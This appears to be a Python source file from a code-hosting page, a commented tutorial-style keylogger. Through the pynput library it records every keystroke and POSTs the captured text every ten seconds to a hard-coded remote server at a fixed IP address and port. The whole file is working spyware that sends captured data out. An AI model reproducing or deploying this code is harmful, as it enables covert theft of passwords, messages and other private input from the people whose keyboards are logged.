69 lines
3.1 KiB
Python
69 lines
3.1 KiB
Python
# Install pynput using the following command: pip install pynput
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# Import the mouse and keynboard from pynput
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from pynput import keyboard
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# We need to import the requests library to Post the data to the server.
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import requests
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# To transform a Dictionary to a JSON string we need the json package.
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import json
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# The Timer module is part of the threading package.
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import threading
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# We make a global variable text where we'll save a string of the keystrokes which we'll send to the server.
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text = ""
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# Hard code the values of your server and ip address here.
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ip_address = "109.74.200.23"
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port_number = "8080"
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# Time interval in seconds for code to execute.
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time_interval = 10
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def send_post_req():
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try:
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# We need to convert the Python object into a JSON string. So that we can POST it to the server. Which will look for JSON using
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# the format {"keyboardData" : "<value_of_text>"}
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payload = json.dumps({"keyboardData" : text})
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# We send the POST Request to the server with ip address which listens on the port as specified in the Express server code.
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# Because we're sending JSON to the server, we specify that the MIME Type for JSON is application/json.
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r = requests.post(f"http://{ip_address}:{port_number}", data=payload, headers={"Content-Type" : "application/json"})
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# Setting up a timer function to run every <time_interval> specified seconds. send_post_req is a recursive function, and will call itself as long as the program is running.
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timer = threading.Timer(time_interval, send_post_req)
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# We start the timer thread.
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timer.start()
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except:
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print("Couldn't complete request!")
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# We only need to log the key once it is released. That way it takes the modifier keys into consideration.
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def on_press(key):
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global text
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# Based on the key press we handle the way the key gets logged to the in memory string.
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# Read more on the different keys that can be logged here:
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# https://pynput.readthedocs.io/en/latest/keyboard.html#monitoring-the-keyboard
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if key == keyboard.Key.enter:
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text += "\n"
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elif key == keyboard.Key.tab:
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text += "\t"
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elif key == keyboard.Key.space:
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text += " "
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elif key == keyboard.Key.shift:
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pass
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elif key == keyboard.Key.backspace and len(text) == 0:
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pass
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elif key == keyboard.Key.backspace and len(text) > 0:
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text = text[:-1]
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elif key == keyboard.Key.ctrl_l or key == keyboard.Key.ctrl_r:
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pass
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elif key == keyboard.Key.esc:
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return False
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else:
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# We do an explicit conversion from the key object to a string and then append that to the string held in memory.
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text += str(key).strip("'")
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# A keyboard listener is a threading.Thread, and a callback on_press will be invoked from this thread.
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# In the on_press function we specified how to deal with the different inputs received by the listener.
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with keyboard.Listener(
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on_press=on_press) as listener:
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# We start of by sending the post request to our server.
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send_post_req()
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listener.join()
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